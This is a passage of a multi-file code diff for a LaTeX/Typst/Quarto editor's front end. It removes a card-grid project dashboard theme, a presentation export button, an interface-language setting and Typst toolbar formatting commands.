</div>
</div>
<div className="mt-3">
{tableTopArea}
<TableContainer bordered>
{tableTopArea}
<ProjectListTable />
</TableContainer>
</div>
@@ -1,485 +0,0 @@
import React, {
memo,
useCallback,
useEffect,
useRef,
useState,
} from 'react'
import { useTranslation } from 'react-i18next'
import {
Filter,
useProjectListContext,
} from '../context/project-list-context'
import { Project } from '../../../../../types/project/dashboard/api'
import { getOwnerName } from '../util/project'
import { fromNowDate } from '../../../utils/dates'
import { ProjectCompiler } from '../../../../../types/project-settings'
import { getTagColor } from '../util/tag'
import OLTooltip from '@/shared/components/ol/ol-tooltip'
import getMeta from '@/utils/meta'
import DefaultNavbar from '@/shared/components/navbar/default-navbar'
import Footer from '@/shared/components/footer/footer'
import SidebarDsNav from '@/features/project-list/components/sidebar/sidebar-ds-nav'
import SystemMessages from '@/shared/components/system-messages'
import CookieBanner from '@/shared/components/cookie-banner'
import UserNotifications from './notifications/user-notifications'
import SearchForm from './search-form'
import NewProjectButton from './new-project-button'
import ProjectListTitle from './title/project-list-title'
import LoadMore from './load-more'
import DashApiError from './dash-api-error'
import { ProjectCheckbox } from './table/project-checkbox'
import ProjectTools from './table/project-tools/project-tools'
import OLFormCheckbox from '@/shared/components/ol/ol-form-checkbox'
import { CopyProjectButtonTooltip } from './table/cells/action-buttons/copy-project-button'
import { DownloadProjectButtonTooltip } from './table/cells/action-buttons/download-project-button'
import { CompileAndDownloadProjectPDFButtonTooltip } from './table/cells/action-buttons/compile-and-download-project-pdf-button'
import { DownloadPresentationButtonTooltip } from './table/cells/action-buttons/download-presentation-button'
import { ArchiveProjectButtonTooltip } from './table/cells/action-buttons/archive-project-button'
import { TrashProjectButtonTooltip } from './table/cells/action-buttons/trash-project-button'
import FormatCell from './table/cells/format-cell'
import OwnerCell from './table/cells/owner-cell'
import LastUpdatedCell from './table/cells/last-updated-cell'
import ActionsCell from './table/cells/actions-cell'
import ActionsDropdown from './dropdown/actions-dropdown'
import InlineTags from './table/cells/inline-tags'
import WelcomePageContent from './welcome-page-content'
// ── Mobile breakpoint ─────────────────────────────────────────────────────────
function useIsMobile() {
const [mobile, setMobile] = useState(
() => window.matchMedia('(max-width: 767px)').matches
)
useEffect(() => {
const mq = window.matchMedia('(max-width: 767px)')
const handler = (e: MediaQueryListEvent) => setMobile(e.matches)
mq.addEventListener('change', handler)
return () => mq.removeEventListener('change', handler)
}, [])
return mobile
}
// ── Tile zoom ─────────────────────────────────────────────────────────────────
type ZoomLevel = 0 | 1 | 1.35 | 1.75
const ZOOM_OPTIONS: { value: ZoomLevel; label: string }[] = [
{ value: 0, label: 'XS' },
{ value: 1, label: 'S' },
{ value: 1.35, label: 'M' },
{ value: 1.75, label: 'L' },
]
// Mobile offers 3 sizes: XS (rows), M (2 tiles), L (1 tile)
const MOBILE_ZOOM_OPTIONS: { value: ZoomLevel; label: string }[] = [
{ value: 0, label: 'XS' },
{ value: 1, label: 'M' },
{ value: 1.35, label: 'L' },
]
const ZOOM_STORAGE_KEY = 'lumiere-card-scale'
function useLumiereCardScale(): [ZoomLevel, (z: ZoomLevel) => void] {
const [scale, setScale] = useState<ZoomLevel>(() => {
try {
const stored = localStorage.getItem(ZOOM_STORAGE_KEY)
if (stored) {
const val = parseFloat(stored)
if ((ZOOM_OPTIONS.map(o => o.value) as number[]).includes(val)) {
return val as ZoomLevel
}
}
} catch (_) {
// storage unavailable
}
return 1
})
const updateScale = useCallback((z: ZoomLevel) => {
setScale(z)
try {
localStorage.setItem(ZOOM_STORAGE_KEY, String(z))
} catch (_) {
// ignore
}
}, [])
return [scale, updateScale]
}
// ── Format helpers ─────────────────────────────────────────────────────────────
type FormatVariant = 'latex' | 'typst' | 'quarto' | 'quarto-slides'
function getFormatVariant(
compiler: ProjectCompiler | undefined,
quartoFlavor: 'revealjs' | 'pdf' | undefined
): FormatVariant {
if (compiler === 'quarto') {
return quartoFlavor === 'revealjs' ? 'quarto-slides' : 'quarto'
}
if (compiler === 'typst') return 'typst'
return 'latex'
}
function getFormatLabel(variant: FormatVariant): string {
switch (variant) {
case 'typst':
return 'Typst'
case 'quarto':
return 'Quarto'
case 'quarto-slides':
return 'Quarto Slides'
default:
return 'LaTeX'
}
}
const ProjectCard = memo(function ProjectCard({
project,
}: {
project: Project
}) {
const { t } = useTranslation()
const { tags } = useProjectListContext()
const variant = getFormatVariant(project.compiler, project.quartoFlavor)
const rawOwner = getOwnerName(project)
const ownerName = rawOwner === 'You' ? t('you') : rawOwner
const date = fromNowDate(project.lastUpdated)
const initial = project.name.charAt(0).toUpperCase() || '?'
const projectTags = tags
.filter(tag => tag.project_ids?.includes(project.id))
.slice(0, 3)
return (
<div className="lumiere-card-wrapper">
<div className="lumiere-card-checkbox">
<ProjectCheckbox projectId={project.id} projectName={project.name} />
</div>
<div className={`lumiere-card lumiere-card--${variant}`} translate="no">
<a
href={`/project/${project.id}`}
className="lumiere-card-link"
translate="no"
>
<div className="lumiere-card-thumb">
{/* eslint-disable-next-line jsx-a11y/alt-text */}
<img
className="lumiere-card-thumb-img"
src={`/project/${project.id}/thumbnail`}
aria-hidden="true"
onError={e => {
e.currentTarget.style.display = 'none'
}}
/>
<span className="lumiere-card-initial">{initial}</span>
</div>
<div className="lumiere-card-body">
<span className="lumiere-card-name">{project.name}</span>
<div className="lumiere-card-meta">
<span
className={`lumiere-format-badge lumiere-format-badge--${variant}`}
>
{getFormatLabel(variant)}
</span>
{ownerName && (
<span className="lumiere-card-owner" translate="yes">
{ownerName}
</span>
)}
{projectTags.map(tag => (
<OLTooltip
key={tag._id}
id={`tag-${tag._id}-${project.id}`}
description={tag.name}
overlayProps={{ placement: 'top' }}
>
<span
className="lumiere-card-tag-dot"
style={{ backgroundColor: getTagColor(tag) }}
translate="no"
/>
</OLTooltip>
))}</div>
<span className="lumiere-card-date">{date}</span>
</div>
</a>
<div className="lumiere-card-actions">
<CopyProjectButtonTooltip project={project} />
<DownloadProjectButtonTooltip project={project} />
{project.compiler === 'quarto' ? (
<DownloadPresentationButtonTooltip project={project} />
) : (
<CompileAndDownloadProjectPDFButtonTooltip project={project} />
)}
<ArchiveProjectButtonTooltip project={project} />
<TrashProjectButtonTooltip project={project} />
</div>
</div>
</div>
)
})
// ── XS compact row (reuses classic table cell components for full detail) ─────
const ProjectCardCompact = memo(function ProjectCardCompact({
project,
}: {
project: Project
}) {
return (
<div className="lumiere-compact-row">
<div className="lumiere-compact-checkbox">
<ProjectCheckbox projectId={project.id} projectName={project.name} />
</div>
<div className="lumiere-compact-name-cell">
<a
href={`/project/${project.id}`}
className="lumiere-compact-name"
translate="no"
>
{project.name}
</a>
<InlineTags projectId={project.id} />
</div>
<div className="lumiere-compact-meta">
<div className="lumiere-compact-format">
<FormatCell project={project} />
</div>
<div className="lumiere-compact-owner" translate="no">
<OwnerCell project={project} />
</div>
<div className="lumiere-compact-date">
<LastUpdatedCell project={project} />
</div>
</div>
<div className="lumiere-compact-actions">
{/* ⋮ dropdown on mobile (single button), icon strip on desktop */}
<div className="d-md-none">
<ActionsDropdown project={project} />
</div>
<div className="d-none d-md-flex">
<ActionsCell project={project} />
</div>
</div>
</div>
)
})
export function ProjectListLumiere() {
const navbarProps = getMeta('ol-navbar')
const footerProps = getMeta('ol-footer')
const { t } = useTranslation()
const [cardScale, setCardScale] = useLumiereCardScale()
const isMobile = useIsMobile()
const {
error,
visibleProjects,
totalProjectsCount,
searchText,
setSearchText,
filter,
tags,
selectedTagId,
selectedProjects,
selectOrUnselectAllProjects,
selectFilter,
} = useProjectListContext()
// On mobile: M option (scale=1) → 2 tiles/row; L (scale≥1.35) → 1 tile/row.
// CSS overrides the card grid columns on mobile; we only add a class for L.
const mobileIsL = isMobile && cardScale !== 0 && cardScale >= 1.35
const activeMobileZoom = cardScale === 0
? 0
: cardScale >= 1.35
? 1.35
: 1
const selectedTag = tags.find(tag => tag._id === selectedTagId)
const allSelected =
visibleProjects.length > 0 &&
selectedProjects.length === visibleProjects.length
const MOBILE_FILTERS: { f: Filter; label: string }[] = [
{ f: 'all', label: t('all_projects') },
{ f: 'owned', label: t('your_projects') },
{ f: 'shared', label: t('shared_with_you') },
{ f: 'archived', label: t('archived_projects') },
{ f: 'trashed', label: t('trashed_projects') },
]
const checkAllRef = useRef<HTMLInputElement>(null)
useEffect(() => {
if (checkAllRef.current) {
checkAllRef.current.indeterminate =
selectedProjects.length > 0 && !allSelected
}
}, [selectedProjects, allSelected])
const handleSelectAll = useCallback(
(e: React.ChangeEvent<HTMLInputElement>) => {
selectOrUnselectAllProjects(e.target.checked)
},
[selectOrUnselectAllProjects]
)
const handleDeselectAll = useCallback(() => {
selectOrUnselectAllProjects(false)
}, [selectOrUnselectAllProjects])
return (
// Keep project-ds-nav-page + website-redesign so the sidebar and navbar
// pick up all their existing CSS (scoped under those classes). The
// project-list-lumiere class then adds/overrides the card-grid styles.
<div className="project-ds-nav-page website-redesign project-list-lumiere">
<SystemMessages />
<DefaultNavbar {...navbarProps} showCloseIcon />
{/* project-list-wrapper is required by sidebar CSS */}
<div className="project-list-wrapper">
<SidebarDsNav />
<div className="project-ds-nav-content-and-messages lumiere-content-area">
<div className="project-ds-nav-content lumiere-scroll-area">
<main
className="project-ds-nav-main lumiere-main"
aria-labelledby="lumiere-title"
>
<UserNotifications />
{error && <DashApiError />}
<div className="lumiere-header">
<div className="lumiere-title-row">
<ProjectListTitle
filter={filter}
selectedTag={selectedTag}
selectedTagId={selectedTagId}
className="lumiere-title"
id="lumiere-title"
/>
<div
className="lumiere-zoom-control d-none d-md-flex"
role="group"
aria-label={t('card_size')}
>
{ZOOM_OPTIONS.map(({ value, label }) => (
<button
key={value}
type="button"
className={`lumiere-zoom-btn${cardScale === value ? ' active' : ''}`}
onClick={() => setCardScale(value)}
aria-pressed={cardScale === value}
>
{label}
</button>
))}
</div>
</div>
{/* Mobile-only: filter pills */}
<div className="d-flex d-md-none lumiere-mobile-toolbar">
<div
className="lumiere-mobile-filters"
role="group"
aria-label={t('filter_projects')}
>
{MOBILE_FILTERS.map(({ f, label }) => (
<button
key={f}
type="button"
className={`lumiere-mobile-filter-pill${filter === f ? ' active' : ''}`}
onClick={() => selectFilter(f)}
aria-pressed={filter === f}
>
{label}
</button>
))}
</div>
</div>
<div className="lumiere-header-actions">
<SearchForm
inputValue={searchText}
setInputValue={setSearchText}
filter={filter}
selectedTag={selectedTag}
/>
{/* On mobile: new project + zoom share a row below the search bar */}
<div className="lumiere-header-actions-row">
<NewProjectButton
id="lumiere-new-project-button"
showAddAffiliationWidget
/>
{/* Zoom control: on desktop it sits in the title row; on mobile it moves here */}
<div
className="lumiere-zoom-control lumiere-mobile-zoom d-md-none"
role="group"
aria-label={t('card_size')}
>
{MOBILE_ZOOM_OPTIONS.map(({ value, label }) => (
<button
key={value}
type="button"
className={`lumiere-zoom-btn${activeMobileZoom === value ? ' active' : ''}`}
onClick={() => setCardScale(value)}
aria-pressed={activeMobileZoom === value}
>
{label}
</button>
))}
</div>
</div>
</div>
</div>
{selectedProjects.length > 0 && (
<div className="lumiere-selection-bar">
<div className="lumiere-selection-bar-left">
<OLFormCheckbox
autoComplete="off"
checked={allSelected}
onChange={handleSelectAll}
inputRef={checkAllRef}
aria-label={t('select_all_projects')}
/>
<span className="lumiere-selection-count">
{t('n_projects_selected', {
count: selectedProjects.length,
})}
</span>
</div>
<ProjectTools />
<button
type="button"
className="lumiere-selection-deselect"
onClick={handleDeselectAll}
>
{t('deselect_all')}
</button>
</div>
)}
{totalProjectsCount === 0 ? (
<WelcomePageContent />
) : visibleProjects.length === 0 ? (
<p className="lumiere-empty">{t('no_projects')}</p>
) : (
<div
className={[
'lumiere-card-grid',
cardScale === 0 && 'lumiere-card-grid--compact',
mobileIsL && 'lumiere-card-grid--mobile-1col',
].filter(Boolean).join(' ')}
// eslint-disable-next-line @typescript-eslint/consistent-type-assertions
style={cardScale === 0 || isMobile ? {} : ({ '--lum-card-scale': cardScale } as React.CSSProperties)}
>
{visibleProjects.map(project =>
cardScale === 0 ? (
<ProjectCardCompact key={project.id} project={project} />
) : (
<ProjectCard key={project.id} project={project} />
)
)}
</div>
)}
<LoadMore />
</main>
<Footer {...footerProps} />
</div>
<CookieBanner />
</div>
</div>
</div>
)
}
@@ -17,12 +17,10 @@ import DefaultNavbar from '@/shared/components/navbar/default-navbar'
import Footer from '@/shared/components/footer/footer'
import WelcomePageContent from '@/features/project-list/components/welcome-page-content'
import { ProjectListDsNav } from '@/features/project-list/components/project-list-ds-nav'
import { ProjectListLumiere } from '@/features/project-list/components/project-list-lumiere'
import { DsNavStyleProvider } from '@/features/project-list/components/use-is-ds-nav'
import CookieBanner from '@/shared/components/cookie-banner'
import useThemedPage from '@/shared/hooks/use-themed-page'
import { UserSettingsProvider } from '@/shared/context/user-settings-context'
import { useUserSettingsContext } from '@/shared/context/user-settings-context'
import { TutorialProvider } from '@/shared/context/tutorial-context'
function ProjectListRoot() {
@@ -82,9 +80,6 @@ function ProjectListPageContent() {
useThemedPage()
const { totalProjectsCount, isLoading, loadProgress } =
useProjectListContext()
const {
userSettings: { overallTheme },
} = useUserSettingsContext()
useEffect(() => {
eventTracking.sendMB('loads_v2_dash', { page: 'projects' })
@@ -100,14 +95,6 @@ function ProjectListPageContent() {
return loadingComponent
}
if (overallTheme === 'lumiere-') {
return (
<DsNavStyleProvider>
<ProjectListLumiere />
</DsNavStyleProvider>
)
}
if (totalProjectsCount === 0) {
return (
<>
@@ -118,7 +105,6 @@ function ProjectListPageContent() {
</>
)
}
return (
<DsNavStyleProvider>
<ProjectListDsNav />
@@ -66,7 +66,7 @@ function SidebarDsNav() {
scrolledUp && 'show-shadow'
)}
>
<SidebarLowerSection showThemeToggle showAccountIcons={false}>
<SidebarLowerSection showThemeToggle>
<div className="project-list-sidebar-survey-wrapper">
<SurveyWidgetDsNav />
</div>
@@ -8,8 +8,6 @@ import { useTranslation } from 'react-i18next'
const getIcon = (theme: OverallThemeMeta) => {
switch (theme.val) {
case 'lumiere-':
return 'auto_awesome'
case 'light-':
return 'light_mode'
case 'system':
@@ -98,10 +98,6 @@ function CompileAndDownloadProjectPDFButton({
const outputFile = data.outputFiles
.filter((file: { path: string }) => file.path === 'output.pdf')
.pop()
if (!outputFile) {
setShowErrorModal(true)
return
}
const params = new URLSearchParams({
compileGroup: data.compileGroup,
@@ -1,195 +0,0 @@
import { memo, useCallback, useRef, useState } from 'react'
import { useTranslation } from 'react-i18next'
import { Project } from '../../../../../../../../types/project/dashboard/api'
import {
Dropdown,
DropdownItem,
DropdownMenu,
DropdownToggle,
} from '@/shared/components/dropdown/dropdown-menu'
import {
OLModal,
OLModalBody,
OLModalFooter,
OLModalHeader,
OLModalTitle,
} from '@/shared/components/ol/ol-modal'
import OLButton from '@/shared/components/ol/ol-button'
import OLSpinner from '@/shared/components/ol/ol-spinner'
import LoadingSpinner from '@/shared/components/loading-spinner'
import MaterialIcon from '@/shared/components/material-icon'
type ExportFormat = 'html' | 'pdf'
type DownloadPresentationButtonProps = {
project: Project
children: (
startExport: (format: ExportFormat) => void,
exporting: ExportFormat | null
) => React.ReactElement
}
function DownloadPresentationButton({
project,
children,
}: DownloadPresentationButtonProps) {
const { t } = useTranslation()
const [exporting, setExporting] = useState<ExportFormat | null>(null)
const [exportError, setExportError] = useState<string | null>(null)
const requestIdRef = useRef(0)
const dismiss = useCallback(() => {
requestIdRef.current += 1
setExporting(null)
setExportError(null)
}, [])
const startExport = useCallback(
async (format: ExportFormat) => {
const requestId = ++requestIdRef.current
setExportError(null)
setExporting(format)
try {
const response = await fetch(
`/project/${project.id}/presentation-export/${format}`,
{ credentials: 'same-origin' }
)
if (requestId !== requestIdRef.current) return
if (!response.ok) {
const text = await response.text()
if (requestId !== requestIdRef.current) return
setExporting(null)
setExportError(text || `Export failed (HTTP ${response.status})`)
return
}
const blob = await response.blob()
if (requestId !== requestIdRef.current) return
const disposition = response.headers.get('Content-Disposition')
const match = disposition?.match(/filename="?([^"]+)"?/)
const filename =
match ? match[1] : `presentation.${format === 'pdf' ? 'pdf' : 'html'}`
const url = URL.createObjectURL(blob)
const link = document.createElement('a')
link.href = url
link.download = filename
document.body.appendChild(link)
link.click()
link.remove()
setExporting(null)
// Revoke after a delay so the browser has time to initiate the download
setTimeout(() => URL.revokeObjectURL(url), 10000)
} catch (err) {
if (requestId !== requestIdRef.current) return
setExporting(null)
setExportError(err instanceof Error ? err.message : String(err))
}
},
[project.id]
)
return (
<>
{children(startExport, exporting)}
<OLModal
show={exporting !== null || exportError !== null}
onHide={dismiss}
>
<OLModalHeader closeButton>
<OLModalTitle>
{exportError
? t('presentation_export_failed')
: t('preparing_your_download')}
</OLModalTitle>
</OLModalHeader>
<OLModalBody>
{exporting !== null ? (
<LoadingSpinner
loadingText={t('presentation_export_can_take_a_moment')}
/>
) : (
<pre
style={{
whiteSpace: 'pre-wrap',
wordBreak: 'break-word',
maxHeight: '50vh',
overflow: 'auto',
marginBottom: 0,
}}
>
{exportError}
</pre>
)}
</OLModalBody>
<OLModalFooter>
<OLButton variant="secondary" onClick={dismiss}>
{t('close')}
</OLButton>
</OLModalFooter>
</OLModal>
</>
)
}
// For ActionsCell (desktop icon buttons row): an icon button that opens a
// dropdown with PDF and HTML export choices.
const DownloadPresentationButtonTooltip = memo(
function DownloadPresentationButtonTooltip({
project,
}: { project: Project }) {
const { t } = useTranslation()
if (project.compiler !== 'quarto') {
return null
}
return (
<DownloadPresentationButton project={project}>
{(startExport, exporting) => (
<Dropdown>
<DropdownToggle
id={`download-presentation-toggle-${project.id}`}
variant="link"
className="action-btn"
aria-label={t('download')}
>
{exporting !== null ? (
<OLSpinner size="sm" />
) : (
<MaterialIcon type="picture_as_pdf" />
)}
</DropdownToggle>
<DropdownMenu
popperConfig={{ strategy: 'fixed' }}
renderOnMount
flip
>
<li role="none">
<DropdownItem
as="button"
onClick={() => startExport('html')}
disabled={exporting !== null}
leadingIcon="download"
>
{t('download_as_standalone_html')}
</DropdownItem>
</li>
<li role="none">
<DropdownItem
as="button"
onClick={() => startExport('pdf')}
disabled={exporting !== null}
leadingIcon="picture_as_pdf"
>
{t('download_as_pdf_slides')}
</DropdownItem>
</li>
</DropdownMenu>
</Dropdown>
)}
</DownloadPresentationButton>
)
}
)
export default memo(DownloadPresentationButton)
export { DownloadPresentationButtonTooltip }
@@ -8,25 +8,17 @@ import { DownloadProjectButtonTooltip } from './action-buttons/download-project-
import { LeaveProjectButtonTooltip } from './action-buttons/leave-project-button'
import { DeleteProjectButtonTooltip } from './action-buttons/delete-project-button'
import { CompileAndDownloadProjectPDFButtonTooltip } from './action-buttons/compile-and-download-project-pdf-button'
import { DownloadPresentationButtonTooltip } from './action-buttons/download-presentation-button'
type ActionsCellProps = {
project: Project
}
const isQuartoSlides = (project: Project) =>
project.compiler === 'quarto'
export default function ActionsCell({ project }: ActionsCellProps) {
return (
<>
<CopyProjectButtonTooltip project={project} />
<DownloadProjectButtonTooltip project={project} />
{isQuartoSlides(project) ? (
<DownloadPresentationButtonTooltip project={project} />
) : (
<CompileAndDownloadProjectPDFButtonTooltip project={project} />
)}
<CompileAndDownloadProjectPDFButtonTooltip project={project} />
<ArchiveProjectButtonTooltip project={project} />
<TrashProjectButtonTooltip project={project} />
<UnarchiveProjectButtonTooltip project={project} />
@@ -4,21 +4,12 @@ import { ProjectCompiler } from '../../../../../../../types/project-settings'
// Map the stored compiler engine to the document format the project produces.
// CLSI dispatches the real engine from the root file's extension, but the
// compiler field is a faithful, cheap proxy for the project's format.
function formatLabel(
compiler: ProjectCompiler | undefined,
quartoFlavor: 'revealjs' | 'pdf' | undefined
): {
function formatLabel(compiler: ProjectCompiler | undefined): {
label: string
variant: 'quarto-slides' | 'quarto' | 'typst' | 'latex'
variant: 'quarto' | 'typst' | 'latex'
} {
switch (compiler) {
case 'quarto':
if (quartoFlavor === 'revealjs') {
return { label: 'Quarto Slides', variant: 'quarto-slides' }
}
if (quartoFlavor === 'pdf') {
return { label: 'Quarto PDF', variant: 'quarto' }
}
return { label: 'Quarto', variant: 'quarto' }
case 'typst':
return { label: 'Typst', variant: 'typst' }
@@ -33,7 +24,7 @@ type FormatCellProps = {
}
export default function FormatCell({ project }: FormatCellProps) {
const { label, variant } = formatLabel(project.compiler, project.quartoFlavor)
const { label, variant } = formatLabel(project.compiler)
return (
<span
@@ -28,10 +28,9 @@ function ProjectListTableRow({ project, selected }: ProjectListTableRowProps) {
</a>{' '}
<InlineTags className="d-none d-md-inline" projectId={project.id} />
</td>
<td className="dash-cell-meta d-md-none">
<td className="dash-cell-date-owner pb-0 d-md-none">
<LastUpdatedCell project={project} />
{ownerName ? <ProjectListOwnerName ownerName={ownerName} /> : null}
<InlineTags projectId={project.id} className="ms-1" />
</td>
<td className="dash-cell-format d-none d-md-table-cell">
<FormatCell project={project} />
@@ -42,6 +41,9 @@ function ProjectListTableRow({ project, selected }: ProjectListTableRowProps) {
<td className="dash-cell-date d-none d-md-table-cell">
<LastUpdatedCell project={project} />
</td>
<td className="dash-cell-tag pt-0 d-md-none">
<InlineTags projectId={project.id} />
</td>
<td className="dash-cell-actions">
<div className="d-none d-lg-block">
<ActionsCell project={project} />
@@ -30,7 +30,7 @@ export default function WelcomeMessage() {
{wikiEnabled && (
<WelcomeMessageLink
imgSrc={learnLatexImage}
title={t('learn_latex_with_a_tutorial')}
title="Learn LaTeX with a tutorial"
href="/learn/latex/Learn_LaTeX_in_30_minutes"
target="_blank"
/>
@@ -38,7 +38,7 @@ export default function WelcomeMessage() {
{templatesEnabled && (
<WelcomeMessageLink
imgSrc={browseTemplatesImage}
title={t('browse_templates')}
title="Browse templates"
href="/templates"
/>
)}
@@ -7,7 +7,6 @@ import { usePermissionsContext } from '@/features/ide-react/context/permissions-
import { ProjectCompiler } from '@ol-types/project-settings'
import { useSetCompilationSettingWithEvent } from '@/features/editor-left-menu/hooks/use-set-compilation-setting'
import { useFileTreeData } from '@/shared/context/file-tree-data-context'
import { findInTree } from '@/features/file-tree/util/find-in-tree'
// Which compiler engines make sense for a given root-file extension. CLSI
// dispatches the real engine from this extension (.qmd → Quarto, .typ → Typst,
@@ -35,7 +34,7 @@ export default function CompilerSetting() {
const [compilerOptions] = useState(() => getCompilerOptions())
const { t } = useTranslation()
const { write } = usePermissionsContext()
const { docs, fileTreeData } = useFileTreeData()
const { docs } = useFileTreeData()
const changeCompiler = useSetCompilationSettingWithEvent(
'compiler',
setCompiler
@@ -44,21 +43,14 @@ export default function CompilerSetting() {
// Disable the engines that don't apply to the current root file's extension.
// The currently-selected engine is always left enabled so it keeps showing.
const options = useMemo(() => {
let rootDocName: string | undefined
if (rootDocId) {
const fromDocs = docs?.find(doc => doc.doc.id === rootDocId)
if (fromDocs) {
rootDocName = fromDocs.doc.name
} else if (fileTreeData) {
// Fallback: look up directly in tree in case of ID format mismatch
const found = findInTree(fileTreeData, rootDocId)
if (found?.type === 'doc') rootDocName = found.entity.name
}
}
const extension = rootDocName?.split('.').pop()?.toLowerCase()
const rootDoc = rootDocId
? docs?.find(doc => doc.doc.id === rootDocId)
: undefined
const extension = rootDoc?.doc.name.split('.').pop()?.toLowerCase()
const allowed = extension ? ENGINES_BY_EXTENSION[extension] : undefined
if (!allowed) {
// Unknown / no root file: don't restrict anything.
return compilerOptions
}
@@ -1,52 +0,0 @@
import { useCallback, useMemo } from 'react'
import { useTranslation } from 'react-i18next'
import getMeta from '@/utils/meta'
import Setting from '../setting'
import OLFormSelect from '@/shared/components/ol/ol-form-select'
export default function InterfaceLanguageSetting() {
const { t } = useTranslation()
const currentLangCode = getMeta('ol-i18n').currentLangCode
const footerMeta = getMeta('ol-footer')
const availableLanguages: string[] = useMemo(
() => footerMeta?.availableLanguages ?? [],
[footerMeta]
)
const translatedLanguages: Record<string, string> = useMemo(
() => footerMeta?.translatedLanguages ?? {},
[footerMeta]
)
const handleChange = useCallback(
(event: React.ChangeEvent<HTMLSelectElement>) => {
const lng = event.target.value
const returnTo = encodeURIComponent(window.location.pathname)
window.location.href = `/set-language?lng=${encodeURIComponent(lng)}&return_to=${returnTo}`
},
[]
)
if (availableLanguages.length <= 1) return null
return (
<Setting controlId="interfaceLanguage" label={t('interface_language')}>
<OLFormSelect
id="interfaceLanguage"
className="ide-dropdown-setting ide-dropdown-setting-wide"
size="sm"
value={currentLangCode}
onChange={handleChange}
translate="no"
>
{availableLanguages
.filter(lng => translatedLanguages[lng])
.map(lng => (
<option key={lng} value={lng}>
{translatedLanguages[lng]}
</option>
))}
</OLFormSelect>
</Setting>
)
}
@@ -9,7 +9,6 @@ import PDFViewerSetting from '@/features/settings/components/editor-settings/pdf
import importOverleafModules from '../../../../macros/import-overleaf-module.macro'
import SpellCheckSetting from '@/features/settings/components/editor-settings/spell-check-setting'
import DictionarySetting from '@/features/settings/components/editor-settings/dictionary-setting'
import InterfaceLanguageSetting from '@/features/settings/components/editor-settings/interface-language-setting'
import { useTranslation } from 'react-i18next'
import BreadcrumbsSetting from '@/features/settings/components/editor-settings/breadcrumbs-setting'
import NonBlinkingCursorSetting from '@/features/settings/components/editor-settings/non-blinking-cursor-setting'
@@ -166,10 +165,6 @@ export const SettingsModalProvider: FC<React.PropsWithChildren> = ({
key: 'dictionary-settings',
component: <DictionarySetting />,
},
{
key: 'interfaceLanguage',
component: <InterfaceLanguageSetting />,
},
],
},
...spellcheckExtraSections,
@@ -1,82 +0,0 @@
import { EditorSelection } from '@codemirror/state'
import { EditorView } from '@codemirror/view'
import { syntaxTree } from '@codemirror/language'
import { matchingAncestor } from '../utils/tree-operations/ancestors'
import { type TypstFormattingNode } from '../utils/tree-operations/formatting'
import { wrapRanges } from './ranges'
/**
* Toggle Typst symmetric markup (e.g. *bold* or _italic_).
*
* If the cursor/selection is already inside a matching syntax node the
* surrounding markers are removed; otherwise the selection is wrapped.
*/
export const toggleTypstMarkup =
(marker: string, nodeTypeName: TypstFormattingNode) =>
(view: EditorView): boolean => {
if (view.state.readOnly) return false
view.dispatch(
view.state.changeByRange(range => {
const tree = syntaxTree(view.state)
const node = tree.resolveInner(range.from, -1)
const formattingNode = matchingAncestor(
node,
n => n.type.name === nodeTypeName
)
if (formattingNode) {
const mLen = marker.length
const fFrom = formattingNode.from
const fTo = formattingNode.to
// Adjust the selection for the two deletions applied simultaneously.
// Positions after fFrom shift left by mLen (opening deletion).
// Positions at or after fTo shift left by another mLen (closing deletion).
const newFrom =
range.from > fFrom ? range.from - mLen : range.from
const newTo =
range.to -
(range.to > fFrom ? mLen : 0) -
(range.to >= fTo ? mLen : 0)
return {
changes: [
{ from: fFrom, to: fFrom + mLen, insert: '' },
{ from: fTo - mLen, to: fTo, insert: '' },
],
range: range.empty
? EditorSelection.cursor(newFrom)
: EditorSelection.range(newFrom, newTo),
}
}
// Wrap: insert markers around the selection
const content = view.state.sliceDoc(range.from, range.to)
return {
changes: {
from: range.from,
to: range.to,
insert: `${marker}${content}${marker}`,
},
range: range.empty
? EditorSelection.cursor(range.from + marker.length)
: EditorSelection.range(
range.from + marker.length,
range.to + marker.length
),
}
}),
{ scrollIntoView: true }
)
return true
}
// Wraps selection in #link("")[…] and places the cursor in the URL field.
// Prefix breakdown: # l i n k ( " " ) [ = 10 chars; URL slot is at offset 7.
export const wrapTypstLink = wrapRanges(
'#link("")[',
']',
false,
range => EditorSelection.cursor(range.from - 3)
)
@@ -12,7 +12,7 @@ function SwitchToPDFButton() {
return null
}
if (pdfLayout === 'sideBySide' || pdfLayout === 'verticalSplit') {
if (pdfLayout === 'sideBySide') {
return null
}
@@ -12,10 +12,7 @@ import { MathDropdown } from './math-dropdown'
import { InsertListDropdown } from './insert-list-dropdown'
import { TableDropdown } from './table-dropdown'
import { LegacyTableDropdown } from './table-inserter-dropdown-legacy'
import {
withinFormattingCommand,
withinTypstFormatting,
} from '@/features/source-editor/utils/tree-operations/formatting'
import { withinFormattingCommand } from '@/features/source-editor/utils/tree-operations/formatting'
import { isMac } from '@/shared/utils/os'
import { useProjectContext } from '@/shared/context/project-context'
import { useEditorPropertiesContext } from '@/features/ide-react/context/editor-properties-context'
@@ -44,7 +41,6 @@ export const ToolbarItems: FC<{
const { features } = useProjectContext()
const permissions = usePermissionsContext()
const isActive = withinFormattingCommand(state)
const isTypstActive = withinTypstFormatting(state)
const symbolPaletteAvailable = getMeta('ol-symbolPaletteAvailable')
const showGroup = (group: string) => !overflowed || overflowed.has(group)
@@ -193,61 +189,6 @@ export const ToolbarItems: FC<{
)}
</>
)}
{languageName === 'typst' && (
<>
{showGroup('group-format') && (
<div
className="ol-cm-toolbar-button-group"
aria-label={t('toolbar_text_style')}
>
<ToolbarButton
id="toolbar-format-bold"
label={t('toolbar_bold')}
command={commands.toggleTypstBold}
active={isTypstActive('Strong')}
icon="format_bold"
shortcut={isMac ? '⌘B' : 'Ctrl+B'}
/>
<ToolbarButton
id="toolbar-format-italic"
label={t('toolbar_italic')}
command={commands.toggleTypstItalic}
active={isTypstActive('Emphasis')}
icon="format_italic"
shortcut={isMac ? '⌘I' : 'Ctrl+I'}
/>
<ToolbarButton
id="toolbar-format-underline"
label={t('toolbar_underline')}
command={commands.wrapTypstUnderline}
icon="format_underlined"
/>
<ToolbarButton
id="toolbar-format-smallcaps"
label={t('toolbar_smallcaps')}
command={commands.wrapTypstSmallcaps}
icon="Sc"
textIcon
/>
</div>
)}
{showGroup('group-misc') && (
<div
className="ol-cm-toolbar-button-group"
data-overflow="group-misc"
aria-label={t('toolbar_insert_misc')}
>
<ToolbarButton
id="toolbar-typst-href"
label={t('toolbar_insert_link')}
command={commands.wrapTypstLink}
icon="add_link"
shortcut={isMac ? '⌘K' : 'Ctrl+K'}
/>
</div>
)}
</>
)}
</>
